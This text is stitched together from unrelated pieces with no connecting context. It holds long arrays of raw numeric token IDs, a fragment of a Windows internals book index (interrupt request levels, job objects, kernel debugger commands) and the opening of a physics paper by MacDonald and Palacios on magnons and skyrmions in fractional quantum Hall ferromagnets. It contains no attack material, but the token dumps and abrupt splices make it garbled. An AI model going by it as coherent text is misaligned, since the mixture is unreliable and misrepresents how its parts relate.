2370, 313, 11589, 367, 23699, 10, 187, 187, 9, 2887, 671, 6293, 27387, 10, 187, 11972, 264, 399, 5077, 1329, 323, 7870, 26967, 13, 31799, 12639, 263, 6528, 285, 1720, 26380, 187, 4537, 14, 9561, 33146, 1329, 13, 11447, 14, 10715, 26073, 3390, 187, 14877, 27387, 2127, 13, 42372, 273, 7464, 41827, 16292, 187, 89, 2691, 14, 6160, 19069, 13, 11366, 1935, 15185, 187, 22562, 7491, 1232, 13, 9182, 272, 285, 45464, 253, 38227, 187, 22562, 13844, 1063, 13, 11568, 3390, 715, 7464, 3749, 932, 13, 26073, 3390, 29806, 323, 7464, 13, 26073, 3390, 29806, 323, 7464, 13, 16155, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 13, 4155, 7733, 254, 22553, 84, 13, 7464, 11841, 2884, 3544, 13, 380, 38227, 35876, 4511, 285, 24636, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 5128, 26253, 980, 13, 22553, 41827, 16292, 13, 21591, 12285, 953, 13, 14391, 561, 13, 9044, 3666, 1687, 641, 285, 13135, 9175, 13, 26010, 399, 31785, 13, 427, 15857, 399, 31785, 187, 187, 2, 7404, 3923, 13, 5128, 26253, 980, 187, 44291, 13, 26073, 3390, 29806, 323, 7464, 187, 38, 28389, 5479, 4910, 13, 19703, 13, 5128, 26253, 980, 187, 12775, 13587, 285, 611, 39815, 13, 19703, 13, 5128, 26253, 980, 187, 9993, 4995, 5300, 13, 16485, 13, 20715, 15601, 911, 265, 285, 12174, 264, 15601, 911, 265, 187, 24210, 13896, 13, 26073, 3390, 29806, 323, 7464, 187, 13393, 2829, 13, 14657, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 187, 17455, 5113, 13, 14657, 13, 21591, 12285, 953, 187, 2364, 1453, 8336, 13, 14657, 13, 380, 38227, 35876, 4511, 285, 24636, 187, 17921, 13, 16155, 187, 6577, 1830, 12949, 14, 4124, 13, 16485, 13, 427, 15857, 399, 31785, 187, 47, 85, 18590, 22532, 4778, 13, 14657, 285, 4758, 13, 7464, 11841, 2884, 3544, 187, 3246, 35, 13, 19703, 13, 5128, 26253, 980, 187, 2038, 17059, 13, 14657, 13, 22553, 41827, 16292, 187, 13980, 42785, 13, 14657, 13, 9044, 3666, 1687, 641, 285, 13135, 9175, 187, 10394, 12954, 17059, 13, 16485, 13, 4155, 7733, 254, 22553, 84, 187, 32423, 16, 3123, 2813, 5113, 13, 14657, 13, 26010, 399, 31785, 187, 5428, 35, 13, 46023, 13, 5128, 26253, 980, 187, 11972, 941, 5289, 13, 46023, 13, 5128, 26253, 980, 187, 45499, 13, 14657, 13, 14391, 561, 187, 22562, 33146, 13, 21856, 41769, 13, 26073, 3390, 29806, 323, 7464, 13, 26073, 3390, 29806, 323, 7464, 187, 187, 6790, 13, 26073, 3390, 29806, 323, 7464, 187, 10394, 417, 7491, 264, 275, 13844, 4438, 13, 26073, 3390, 29806, 323, 7464, 187, 22562, 27758, 5316, 13, 42372, 273, 7464, 41827, 16292, 13, 22553, 2077, 187, 187, 2038, 1753, 955, 13, 22553, 2077, 187, 22562, 2362, 30749, 13, 611, 7666, 11846, 1535, 4234, 187, 22562, 6016, 2829, 13, 9206, 10535, 868, 285, 253, 12639, 34107, 5270, 13, 388, 422, 19662, 12285, 953, 187, 187, 31007, 288, 1644, 13, 5909, 13, 388, 422, 19662, 12285, 953, 187, 22562, 22139, 13, 8694, 2356, 12639, 265, 187, 22562, 2460, 13, 33968, 17842, 23472, 285, 13331, 25403, 621, 13, 9423, 264, 11103, 187, 187, 21542, 1973, 2715, 13, 9423, 264, 11103, 187, 8780, 285, 4771, 2715, 13, 33968, 17842, 23472, 285, 13331, 25403, 621, 187, 22562, 28822, 13, 611, 7666, 11846, 1535, 4234, 13, 611, 7666, 11846, 1535, 4234, 13, 611, 7666, 11846, 1535, 4234, 187, 187, 32423, 16, 3123, 2425, 13, 30749, 13, 611, 7666, 11846, 1535, 4234, 187, 20668, 5971, 13, 17690, 13, 611, 7666, 11846, 1535, 4234, 187, 22562, 4438, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 37880, 942, 285, 11405, 3617, 932, 13, 39439, 4155, 10031, 13, 8694, 2356, 12639, 265, 13, 416, 5077, 45211, 187, 187, 18641, 4870, 1329, 13, 8694, 2356, 12639, 265, 187, 48095, 1329, 13, 416, 5077, 45211, 187, 25974, 272, 281, 2608, 4438, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 187, 38561, 24629, 6307, 8714, 272, 313, 34297, 5166, 10, 3646, 13, 611, 7666, 24629, 4632, 15, 11447, 24629, 13, 611, 7666, 45491, 17504, 187, 22562, 5113, 13, 9206, 15821, 187, 38561, 45491, 17504, 313, 44, 4785, 582, 9405, 20559, 15185, 187, 22562, 13732, 1453, 2972, 313, 44, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 582, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 187, 1374, 272, 13, 611, 7666, 12639, 263, 9175, 18973, 285, 9175, 15204, 313, 44, 9343, 285, 611, 3175, 14922, 10, 187, 38561, 1294, 5073, 254, 313, 44, 1808, 4427, 582, 9107, 46403, 19107, 41767, 313, 3027, 6350, 84, 10, 187, 22562, 1753, 955, 13, 7733, 254, 22481, 2370, 313, 11589, 367, 23699, 10, 187, 38561, 9044, 27048, 32911, 313, 44, 4538, 11927, 582, 9044, 4155, 3631, 8999, 187, 22562, 34577, 13, 611, 7666, 45491 ]

, Software Interrupt Request Levels (IRQLs) predefined, Software Interrupt Request Levels (IRQLs) raising and lowering, Software Interrupt Request Levels (IRQLs) save locations, Software Interrupt Request Levels (IRQLs) viewing, Software Interrupt Request Levels (IRQLs) vs. thread priorities, Priority Levels IRQs (interrupt requests), Hardware Interrupt Processing, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs) IRQ 1, Software Interrupt Request Levels (IRQLs) prioritization, Software Interrupt Request Levels (IRQLs) isolation, Transactional Registry (TxR), Running with Least Privilege, Service Isolation, Protecting Objects intra-user, Protecting Objects service, Running with Least Privilege Session Zero Isolation, Service Isolation transaction, Transactional Registry (TxR) ISR (interrupt service routine), Trap Dispatching, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs) interrupt level, connecting and disconnecting, Software Interrupt Request Levels (IRQLs) registering, Software Interrupt Request Levels (IRQLs) ### J job object type, Executive Objects job objects, Quantum Accounting, Dynamic Processor Addition and Replacement, Dynamic Processor Addition and Replacement, Job Limits, Job Limits, Job Limits job sets, Job Limits limits, specifying, Job Limits process accounting information, Dynamic Processor Addition and Replacement quantum values, Quantum Accounting viewing, Job Limits jobs, Processes, Threads, and Jobs, Background Intelligent Transfer Service transfer, Background Intelligent Transfer Service ### K Kd.exe, Debugging Tools for Windows KeAcquire/ReleaseSpinLockForDpc API, Dispatch or Deferred Procedure Call (DPC) Interrupts KeAcquireInStackQueuedSpinLock function, Instack Queued Spinlocks KeAcquireInterruptSpinLock API, Spinlocks KeAcquireSpinLock function, Spinlocks KeAddSystemServiceTable function, System Service Dispatching KeAreAllApcsDisabled function, Fast Mutexes and Guarded Mutexes KeAreApcsDisabled function, Fast Mutexes and Guarded Mutexes KeEnterGuardedRegion, Asynchronous Procedure Call Interrupts KeInitializeProcess function, Stage 3B: Creating the Initial Process Address Space KePerformGroupConfiguration routine, NUMA Systems Kerberos authentication, Logon, Winlogon Initialization, User Logon Steps TCP/IP port (port 88), User Logon Steps Kerberos Key Distribution Center service, User Logon Steps KeReleaseInStackQueuedSpinLock function, Instack Queued Spinlocks KeReleaseInterruptSpinLock API, Spinlocks KeReleaseSpinLock function, Spinlocks kernel, Requirements and Design Goals, Architecture Overview, Architecture Overview, Symmetric Multiprocessing, Executive, Executive, Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Hardware Support, Trap Dispatching, Trap Dispatching, Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Software Interrupt Request Levels (IRQLs), Dispatch or Deferred Procedure Call (DPC) Interrupts, Exception Dispatching, Exception Dispatching, Synchronization, Low-IRQL Synchronization, What Signals an Object?, Data Structures, Views, Regions, and Sections, Blobs, Handles, and Resources, User-Mode Debugging, Loaded Module Database, Worker Factories (Thread Pools), Worker Factories (Thread Pools), Overview of Windows Scheduling, Priority Levels, Thread States, Package Sets and SMT Sets, Dynamic Processor Addition and Replacement attributes management, Views, Regions, and Sections blob management, Blobs, Handles, and Resources daisy-chain configuration support, Software Interrupt Request Levels (IRQLs) design, Architecture Overview dispatcher database, Thread States dispatcher objects, Low-IRQL Synchronization, What Signals an Object? DPC processing, Dispatch or Deferred Procedure Call (DPC) Interrupts driver and DLL loader, Loaded Module Database dynamic thread creation, Worker Factories (Thread Pools) exception trapping and handling, Exception Dispatching exceptions and interrupts, distinguishing between, Trap Dispatching hardware support, Kernel Processor Control Region and Control Block (KPCR and KPRCB) interrupt objects, Software Interrupt Request Levels (IRQLs) lock ordering scheme, Data Structures mutual exclusion functions, Synchronization NUMA system information, Package Sets and SMT Sets objects, Executive portable interfaces, Kernel Processor Control Region and Control Block (KPCR and KPRCB) processor control region, Kernel Processor Control Region and Control Block (KPCR and KPRCB) protection mechanisms, Requirements and Design Goals real-time, Software Interrupt Request Levels (IRQLs) scalability features, Symmetric Multiprocessing software interrupts, Software Interrupt Request Levels (IRQLs) structured exception handling, Exception Dispatching system interrupts, Trap Dispatching thread priority assignment, Priority Levels thread scheduling, creation, and termination, Worker Factories (Thread Pools) (see also thread scheduling) threaded DPC support for dynamic processors, Dynamic Processor Addition and Replacement user-mode debugging support, User-Mode Debugging Windows scheduling code, Overview of Windows Scheduling x86-specific interfaces, Hardware Support kernel boot process, Viewing and Changing the Registry kernel debugger, Digging into Windows Internals, Debugging Tools for Windows, Debugging Tools for Windows, Executive, Object Handles and the Process Handle Table, Fast Mutexes and Guarded Mutexes, System Worker Threads, Windows Global Flags, The Registry Namespace and Operation, Data Structures, Data Structures, Data Structures, Data Structures, Data Structures, Data Structures, Thread Scheduling, Job Limits, Tokens, Security Descriptors and Access Control, Protocol Drivers, NDIS Drivers !process command, Data Structures commands, Debugging Tools for Windows EPROCESS fields, displaying, Data Structures ETHREAD and KTHREAD, displaying, Data Structures executive resources, listing, Fast Mutexes and Guarded Mutexes extension commands, Debugging Tools for Windows handle table, viewing, Object Handles and the Process Handle Table job objects, viewing, Job Limits key control blocks, viewing, The Registry Namespace and Operation library, Executive NDIS mini-ports, listing, NDIS Drivers NtGlobalFlag variable, viewing and setting, Windows Global Flags PEB, displaying, Data Structures ready threads, viewing, Thread Scheduling security descriptors, viewing, Security Descriptors and Access Control system worker threads, listing, System Worker Threads TCP/IP device objects, viewing, Protocol Drivers TEB, dumping, Data Structures thread data structures, dumping, Data Structures tokens, viewing, Tokens kernel debugging, Performance Monitor, Debugging Tools for Windows, Debugging Tools for Windows local, Debugging Tools for Windows system not booted in debug mode, Debugging Tools for Windows kernel dispatcher, Overview of Windows Scheduling, Thread States ready queues, Thread States kernel event tracing, Kernel Event Tracing kernel handle table, Object Handles and the Process Handle Table, Hive Size Limits registry hives, opening, Hive Size Limits kernel handles, Protected Processes kernel image, Differences Between Client and Server Versions, Checked Build checked build version, Checked Build client and server version, Differences Between Client and Server Versions kernel logger, Kernel Event Tracing, Kernel Event Tracing, Kernel Event Tracing TCP/IP activity, tracing, Kernel Event Tracing trace classes, enabling, Kernel Event Tracing kernel mode, Kernel Mode vs. User Mode, Kernel Mode vs. User Mode, Requirements and Design Goals, Operating System Model, Protected Processes, RPC Implementation protected processes support, Protected Processes RPC support, RPC Implementation transitioning to user mode, Kernel Mode vs. User Mode Kernel Mode Code Signing (KMCS) policy, Kernel Mode vs. User Mode, Kernel Patch Protection kernel objects, Object Manager Kernel Patch Protection (KPP), Hotpatch Support kernel processor control block (KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB), Kernel Processor Control Region and Control Block (KPCR and KPRCB) viewing, Kernel Processor Control Region and Control Block (KPCR and KPRCB) Kernel Profiler (Kernrate), Software Interrupt Request Levels (IRQLs) kernel queues, Worker Factories (Thread Pools) Kernel Security Device Driver (KSecDD), Security System Components kernel stacks, Kernel Patch

[ 14703, 7713, 10426, 323, 1892, 14, 6443, 1566, 2718, 403, 908, 281, 7568, 326, 13, 275, 253, 24622, 1083, 13, 6355, 3921, 4032, 560, 4622, 253, 28565, 387, 6486, 9208, 285, 326, 8091, 14, 13928, 35188, 2581, 685, 1048, 14, 88, 10415, 2849, 790, 1453, 370, 46, 9, 53, 1009, 387, 1698, 370, 53, 1352, 8, 187, 12025, 27, 187, 14, 686, 18333, 18, 5, 25508, 273, 17709, 13, 14614, 2499, 13, 21034, 16240, 13, 2949, 7543, 20680, 13, 5106, 8, 187, 14, 686, 18333, 19, 5, 10851, 435, 12263, 372, 401, 19637, 3737, 2745, 1954, 23616, 372, 826, 353, 727, 571, 12776, 561, 2960, 13, 12565, 10045, 5271, 3876, 3691, 372, 21924, 13, 21860, 24595, 26798, 13, 21924, 22121, 2537, 13, 11268, 8, 187, 7582, 27, 187, 14, 686, 34, 15, 575, 41, 15, 575, 13815, 16008, 18333, 18, 5, 285, 500, 15, 575, 43, 15, 575, 16281, 317, 3783, 15667, 18, 13, 19, 724, 8, 187, 5564, 27, 18482, 790, 285, 16194, 1109, 621, 275, 401, 3460, 267, 6696, 20496, 409, 1530, 1507, 187, 1532, 187, 187, 510, 1142, 14, 25268, 12057, 273, 767, 14, 6967, 313, 19, 37, 10, 6488, 2718, 275, 247, 2266, 20277, 5212, 1673, 310, 18839, 407, 253, 35915, 44877, 273, 247, 42005, 3961, 15, 5383, 3518, 275, 436, 985, 2550, 320, 4127, 12230, 3146, 285, 253, 7051, 985, 476, 2826, 275, 581, 273, 247, 5235, 683, 69, 515, 1513, 522, 1763, 91, 2788, 62, 273, 1327, 14, 39, 693, 74, 14, 38390, 3054, 13, 7293, 327, 253, 42005, 1268, 12868, 2803, 669, 3023, 426, 427, 16, 47, 1126, 2162, 3363, 313, 4943, 370, 47, 5, 310, 253, 1180, 273, 14465, 13, 370, 47, 1126, 2162, 94, 426, 329, 378, 1227, 393, 6065, 64, 17, 370, 310, 253, 44877, 273, 253, 42005, 3961, 13, 370, 34, 5, 310, 253, 985, 2170, 13, 370, 35, 5, 310, 253, 5212, 1673, 4757, 13, 285, 669, 6065, 64, 17, 5, 310, 253, 6488, 5212, 8868, 6318, 2698, 3824, 1600, 1060, 310, 275, 253, 2266, 8388, 409, 36488, 4816, 52, 30, 47, 16, 19, 7884, 3054, 534, 2826, 387, 669, 3023, 426, 337, 16, 78, 5, 285, 669, 3023, 426, 374, 428, 18, 16, 78, 5, 323, 8909, 20935, 370, 78, 1352, 683, 3610, 72, 1240, 1222, 3305, 62, 9535, 275, 841, 3054, 556, 8228, 342, 253, 2440, 273, 19790, 683, 7912, 12436, 39209, 62, 285, 643, 683, 977, 62, 5609, 534, 1581, 253, 5508, 14, 30362, 292, 1320, 370, 46, 9, 53, 1009, 285, 643, 5508, 14, 6820, 3607, 281, 320, 4080, 15, 20539, 4102, 13, 5661, 941, 327, 370, 46, 9, 53, 1009, 556, 644, 2130, 760, 387, 669, 3023, 426, 337, 5, 1375, 15, 496, 436, 1083, 370, 46, 9, 53, 1009, 4558, 1781, 387, 9208, 370, 53, 5, 973, 1840, 253, 7728, 11155, 3276, 370, 53, 64, 91, 426, 305, 17840, 94, 393, 1906, 64, 35, 378, 16, 465, 64, 35, 209, 187, 61, 8275, 393, 3442, 64, 91, 16, 76, 64, 35, 13355, 313, 4943, 669, 1906, 64, 35, 5, 310, 253, 6488, 39878, 83, 10973, 251, 285, 370, 72, 17840, 724, 310, 253, 3167, 10236, 305, 14, 19012, 2698, 380, 1246, 789, 310, 17194, 407, 747, 5661, 1543, 683, 2009, 1221, 555, 1079, 62, 534, 921, 326, 323, 669, 3023, 426, 18, 16, 20, 1366, 1097, 253, 5281, 273, 253, 370, 46, 9, 53, 1009, 6970, 285, 253, 3276, 4311, 327, 534, 370, 46, 5, 15323, 281, 1355, 2193, 403, 12059, 15, 380, 8103, 273, 436, 789, 310, 281, 5513, 436, 3064, 327, 247, 18276, 1268, 15, 844, 12661, 326, 253, 3064, 310, 1955, 281, 27697, 273, 253, 2954, 875, 12786, 2849, 251, 285, 8091, 14, 13928, 16820, 14120, 285, 4499, 253, 22973, 12057, 273, 6318, 6696, 8388, 409, 1530, 1507, 387, 7007, 285, 24622, 12868, 2616, 13, 407, 16585, 253, 3607, 273, 1892, 14, 6443, 1566, 2718, 15, 14703, 7713, 10426, 323, 841, 3210, 403, 908, 281, 7568, 326, 13, 275, 253, 24622, 1083, 13, 6355, 3921, 4032, 560, 4622, 253, 28565, 387, 6486, 9208, 15, 1889, 514, 16421, 1320, 10426, 323, 15958, 5016, 3210, 1329, 253, 30437, 273, 1892, 14, 6443, 1566, 18276, 15711, 281, 5661, 2718, 15, 187, 187, 688, 253, 6318, 6696, 9459, 13, 253, 17818, 2341, 1307, 275, 253, 14342, 19413, 760, 949, 253, 7658, 326, 253, 18745, 14465, 1364, 7027, 275, 253, 8840, 2130, 18290, 42005, 1268, 15, 831, 7658, 310, 954, 34090, 27810, 275, 253, 13123, 11206, 683, 14152, 276, 2706, 62, 323, 534, 253, 4136, 2014, 14, 25268, 45228, 403, 48843, 273, 370, 45, 64, 91, 5, 285, 452, 253, 830, 1764, 2162, 64, 78, 9, 91, 10, 426, 393, 1124, 92, 91, 63, 78, 18424, 19, 768, 78, 12, 18, 94, 393, 2059, 278, 2, 7415, 18, 16, 19, 599, 393, 4347, 313, 428, 1040, 91, 10819, 19, 16, 21, 10, 187, 61, 1968, 92, 4093, 2003, 2138, 835, 370, 91, 426, 1269, 428, 891, 340, 5, 310, 253, 2570, 374, 37, 13249, 13, 370, 78, 426, 470, 13, 18, 13, 393, 5589, 1157, 427, 1126, 2162, 14, 18, 724, 285, 359, 452, 6777, 669, 437, 393, 8275, 5081, 13861, 260, 1227, 70, 378, 7415, 18, 16, 19, 724, 347, 253, 3943, 273, 2978, 15, 367, 3514, 273, 14465, 671, 452, 760, 581, 2130, 4103, 3200, 1375, 323, 1016, 12336, 10254, 13, 669, 2162, 64, 78, 768, 1661, 1603, 91, 14, 91, 3401, 426, 393, 2162, 64, 78, 4464, 91, 14, 91, 8, 32615, 2609, 92, 19, 94, 32615, 2609, 92, 19, 3363, 13162, 253, 5016, 1307, 275, 253, 14342, 310, 4336, 7943, 407, 253, 388, 8950, 1351, 10585, 43191, 15738, 683, 250, 649, 1368, 8950, 1351, 62, 370, 55, 64, 78, 393, 8275, 393, 4841, 393, 2162, 64, 78, 768, 1661, 94, 1040, 657, 9, 83, 10, 1040, 393, 2162, 64, 78, 768, 1661, 94, 393, 3799, 1352, 1198, 15958, 5016, 3210, 13, 370, 55, 64, 78, 5, 12075, 41907, 1037, 342, 370, 78, 1352, 48281, 12057, 275, 253, 6318, 6696, 9459, 310, 2223, 4217, 314, 9713, 407, 7296, 1892, 14, 6443, 3210, 835, 760, 253, 8840, 1643, 370, 55, 64, 78, 5, 403, 1327, 14, 10528, 13, 285, 370, 55, 578, 78, 12, 18, 9228, 55, 578, 78, 724, 310, 1355, 2217, 326, 1016, 20946, 10585, 43191, 1624, 13067, 247, 4858, 2341, 4311, 285, 501, 14503, 253, 1142, 14, 25268, 2341, 6637, 625, 25806, 15, 187, 187, 34, 4217, 11259, 310, 253, 1892, 14, 6443, 1566, 342, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 5, 29607, 1781, 285, 512, 643, 10585, 38332, 15738, 873, 281, 5058, 15, 1198, 436, 1566, 13, 6486, 2341, 48843, 7933, 452, 5058, 5912, 10896, 323, 4560, 8557, 273, 14465, 275, 3054, 342, 4103, 12336, 38054, 370, 17, 5, 285, 370, 18, 1366, 285, 3103, 476, 320, 3542, 275, 253, 830, 683, 29050, 1402, 28, 1214, 69, 9877, 1513, 12727, 62, 1764, 8616, 60, 91, 62, 426, 393, 2760, 60, 393, 11510, 578, 74, 29, 75, 1990, 47, 94, 313, 91, 64, 74, 428, 1182, 64, 75, 4800, 19, 393, 2760, 62, 393, 8616, 17840, 94, 544, 91, 62, 187, 61, 1968, 92, 87, 17, 87, 18, 48808, 2138, 835, 669, 8616, 17840, 11326, 91, 8795, 310, 247, 1142, 14, 71, 693, 279, 5508, 263, 15, 3932, 253, 4869, 2014, 14, 25268, 370, 78, 5, 387, 669, 3023, 426, 337, 16, 20, 5, 310, 370, 47, 1126, 2162, 94, 426, 495, 427, 1366, 285, 253, 2803, 275, 6278, 26609, 275, 6354, 14517, 575, 1447, 87, 17, 87, 18, 48808, 3851, 4428, 9136, 273, 370, 91, 64, 74, 5, 598, 281, 370, 19, 427, 5, 352, 3637, 326, 253, 1142, 14, 71, 693, 279, 5508, 641, 669, 8616, 17840, 11326, 91, 8795, 476, 320, 9924, 273, 45228, 342, 370, 78, 5, 432, 370, 17, 5, 281, 370, 47, 1352, 831, 25097, 247, 581, 14, 936, 14, 531, 10603, 875, 253, 5058, 2341, 48843, 273, 253, 370, 55, 64, 17, 428, 657, 64, 18, 5, 1892, 14, 6443, 1566, 12868, 2803, 669, 3023, 426, 393, 3023, 3503, 559, 19, 370, 285, 253, 2120, 1142, 14, 71, 693, 279, 23326, 2317, 387, 669, 3023, 14680, 3023, 3503, 1352, 1198, 370, 76, 64, 35, 308, 5, 1199, 4577, 685, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 1366, 253, 1892, 14, 6443, 1566, 370, 46, 9, 53, 1009, 387, 669, 3023, 426, 495, 5, 588, 320, 8931, 281, 370, 46, 9, 53, 1009, 323, 247, 1327, 14, 47787, 6488, 985, 387, 669, 3023, 426, 337, 18965, 3318, 46, 768, 10431, 1603, 53, 10, 426, 427, 393, 1906, 64, 35, 393, 12505, 73, 5081, 3442, 64, 91, 1227, 577, 465, 64, 35, 308, 481, 187, 61, 1968, 92, 87, 17, 87, 18, 6972, 649, 2138, 831, 906, 943, 320, 2429, 342, 326, 1327, 14, 47787, 14465, 387, 253, 1072, 12868, 2803, 27, 3318, 46, 768, 13652, 1603, 53, 10, 426, 427, 393, 1906, 64, 35, 393, 1124, 92, 393, 39281, 5081, 3442, 64, 91, 1227, 374, 465, 64, 35, 308, 3117, 187, 92, 1182, 559, 393, 39813, 1035, 3442, 64, 91, 1227, 374, 465, 64, 35, 308, 3117, 15, 187, 61, 1968, 92, 4160, 565, 6972, 649, 2138, 835, 370, 91, 426, 393, 4347, 1035, 1906, 16, 76, 64, 35, 308, 34454, 310, 253, 33067, 10757, 534, 13, 323, 669, 3023, 426, 18, 16, 78, 1366, 7274, 697, 4869, 1318, 370, 18, 5624, 19, 78, 14, 18, 4244, 347, 370, 53, 393, 936, 393, 3259, 18965, 1764, 1124, 92, 18, 1217, 78, 94, 426, 393, 1124, 92, 91, 2704, 4347, 1035, 3442, 16, 19, 465, 64, 35, 308, 10, 559, 91, 94, 559, 187, 61, 1124, 92, 91, 2704, 4347, 19724, 3442, 16, 19, 465, 64, 35, 308, 10, 559, 91, 94, 187, 61, 1968, 92, 71, 814, 10757, 2138, 733, 3637, 326, 1892, 14, 6443, 1566, 6355, 3921, 25737, 4622, 4796, 370, 46, 9, 53, 4244, 387, 669, 3023, 426, 337, 16, 20, 1366, 275, 7344, 342, 253, 1846, 18276, 10732, 273, 6431, 285, 5921, 8655, 5508, 28565, 15, 187, 187, 1231, 1024, 1908, 271, 6508, 1892, 14, 6443, 1566, 323, 534, 370, 55, 64, 17, 5, 285, 370, 55, 64, 18, 5, 403, 29607, 1781, 13, 533, 370, 55, 64, 19, 5, 310, 671, 1327, 14, 10528, 15, 844, 588, 9059, 1996, 326, 436, 1566, 28174, 253, 17718, 273, 253, 13318, 15958, 4112, 15, 380, 2879, 10585, 43191, 1624, 35408, 253, 44877, 2190, 253, 1698, 2341, 48843, 273, 253, 1892, 14, 6443, 1566, 15, 496, 5270, 309, 359, 1618, 1142, 14, 25268, 9216, 257, 1326, 447, 323, 253, 3216, 1375, 387, 669, 3023, 426, 18, 16, 20, 5, 285, 323, 3054, 342, 6919, 595, 6636, 21582, 466, 732, 9036, 285, 21582, 6356, 3841, 285, 2710, 7007, 3904, 313, 44, 10, 273, 13891, 27923, 15, 844, 806, 3877, 253, 13711, 3910, 875, 253, 21582, 532, 14600, 285, 21582, 6356, 1306, 1543, 15, 26329, 5016, 2341, 21582, 6356, 1306, 3054, 2826, 387, 512, 2193, 273, 370, 44, 5, 285, 403, 2905, 281, 253, 5058, 2341, 3054, 273, 253, 669, 3023, 426, 337, 5, 370, 55, 64, 17, 393, 570, 470, 5, 1892, 14, 6443, 1566, 407, 253, 1072, 669, 11510, 578, 74, 29, 75, 94, 313, 91, 64, 74, 428, 1182, 64, 75, 4800, 19, 5, 2803, 326, 4620, 275, 6354, 14517, 575, 1447, 87, 17, 87, 18, 48808, 8001, 496, 253, 669, 3023, 30, 18, 5, 1083, 13, 253, 1781, 370, 44, 5, 5058, 2341, 21582, 6356, 1306, 3054, 2723, 683, 3023, 18, 10984, 6443, 62, 281, 253, 8467, 1109, 279, 683, 84, 857, 5801, 62, 1755, 11220, 6636, 5508, 14, 1156, 980, 273, 8946, 1673, 11813, 15, 844, 956, 2045, 3946, 285, 3730, 281, 512, 253, 21582, 6356, 3841, 342, 370, 44, 393, 463, 337, 5, 347, 8467, 1109, 279, 3054, 15, 1198, 669, 3023, 426, 337, 5, 8091, 14, 13928, 10377, 683, 4742, 545, 14774, 62, 23632, 326, 8467, 1109, 279, 21582, 532, 14600, 3054, 3176, 323, 370, 44, 393, 463, 374, 5, 285, 326, 841, 452, 253, 1072, 10096, 273, 2341, 327, 370, 44, 5, 347, 253, 21582, 6356, 1306, 3054, 15, 844, 476, 9441, 432, 5270, 309, 326, 13, 3738, 21582, 532, 14600, 14, 371, 284, 6356, 1306, 10377, 1057, 417, 2186, 323, 669, 3023, 426, 337, 16, 20, 1366, 21582 ]

Analytic calculations for hard-core model systems are used to demonstrate that, in the fractional case, interactions [*suppress*]{} the magnetization at finite temperatures and that particle-hole excitations rather than long-wavelength magnons control $M(T)$ at low $T$.' address: - '$^1$Department of Physics, Indiana University, Bloomington, IN 47405, USA' - '$^2$Departamento de Física Teórica de la Materia Condensada, Universidad Autónoma de Madrid, Cantoblanco, Madrid 28049, Spain' author: - 'A. H. MacDonald$^1$ and J. J. Palacios$^{1,2}$' title: Magnons and Skyrmions in Fractional Hall Ferromagnets --- The many-particle physics of two-dimensional (2D) electron systems in a strong perpendicular magnetic field is enriched by the macroscopic degeneracy of a Landau band. Interactions in this system cannot be treated perturbatively and the electronic system can occur in one of a variety[@dassarmapinczuk] of non-Fermi-liquid states, depending on the Landau level filling factor $\nu = N/N_{\phi}$. (Here $N$ is the number of electrons, $N_{\phi} = A B / \Phi_0 $ is the degeneracy of the Landau band, $A$ is the system area, $B$ is the magnetic field strength, and $\Phi_0$ is the electron magnetic flux quantum.) Our interest here is in the strong ferromagnet ($S=N/2$) states which occur at $\nu = 1/m$ and $\nu = 2 -1/m$ for odd integers $m$.[@smgahminbook] Interest in these states has grown with the development of NMR[@BarrettNMR] and other[@other] techniques which allow the spin-magnetization $M(T)$ and other spin-dependent properties to be measured. Until recently, experimental data on $M(T)$ has been available only at $\nu = 1$ state. In this case $M(T)$ remains large at temperatures $T$ well above the Zeeman temperature $T_z = g^{*} \mu_B B/ k_B \equiv \Delta_z/k_B $. (Here $\mu_B$ is the electron Bohr magneton and $g^{*}$ is the host semiconductor g-factor.) The present work is motivated by new experimental results[@barrettyale] which show that for $\nu =1/3$, both the shape of the $M(T)$ curve and the temperature scale on which $M$ drops to small values are altered. The objective of this work is to explain this difference on a qualitative level. We propose that the difference is due to inversion of the relationship between collective magnon and particle-hole excitation energies and contrast the microscopic physics of quantum Hall ferromagnets at integer and fractional filling factors, by discussing the properties of hard-core model systems. Analytic calculations for these models are used to demonstrate that, in the fractional case, interactions [*suppress*]{} the magnetization at finite temperatures. Exact diagonalization calculations for realistic interaction models support the applicability of hard-core model qualitative considerations to experimental systems. In the quantum Hall regime, the kinetic energy term in the Hamiltonian enters only through the constraint that the interacting electrons must lie in the lowest available orbital Landau level. This constraint is most conveniently enforced in the symmetric gauge[@leshouches] for which the allowed single-particle orbitals are eigenstates of $L_z$ and have the form $$\phi_m(z) = \frac{z^m}{(2^{m+1} \pi m!)^{1/2}} \exp ( - |z|^2/4) \label{singpart}$$ where $z = x - i y$ is the complex 2D coordinate, $m = 0,1, \ldots, N_{\phi-1}$ and we have chosen $\ell \equiv (\hbar c /e B)^{1/2}$ as the unit of length. Pairs of electrons also have only one available relative motion state for each angular momentum, $\phi_m^{rel}(z-z') = \phi_m((z-z')/\sqrt{2})/\sqrt{2}$. Consequently the interaction term in the Hamiltonian is completely characterized by the Haldane pseudopotentials[@reftohaldane] $V_m \equiv \langle \phi_m^{rel} | V(r) | \phi_m^{rel} \rangle$. For realistic interaction models, $V_m$ decreases monotonically with $m$. Interaction physics in the quantum Hall regime is often usefully addressed by considering hard-core models where only the lowest few $V_m$ are non-zero, and $V_{m+1}/V_{m}$ is small enough that each successive pseudopotential defines a 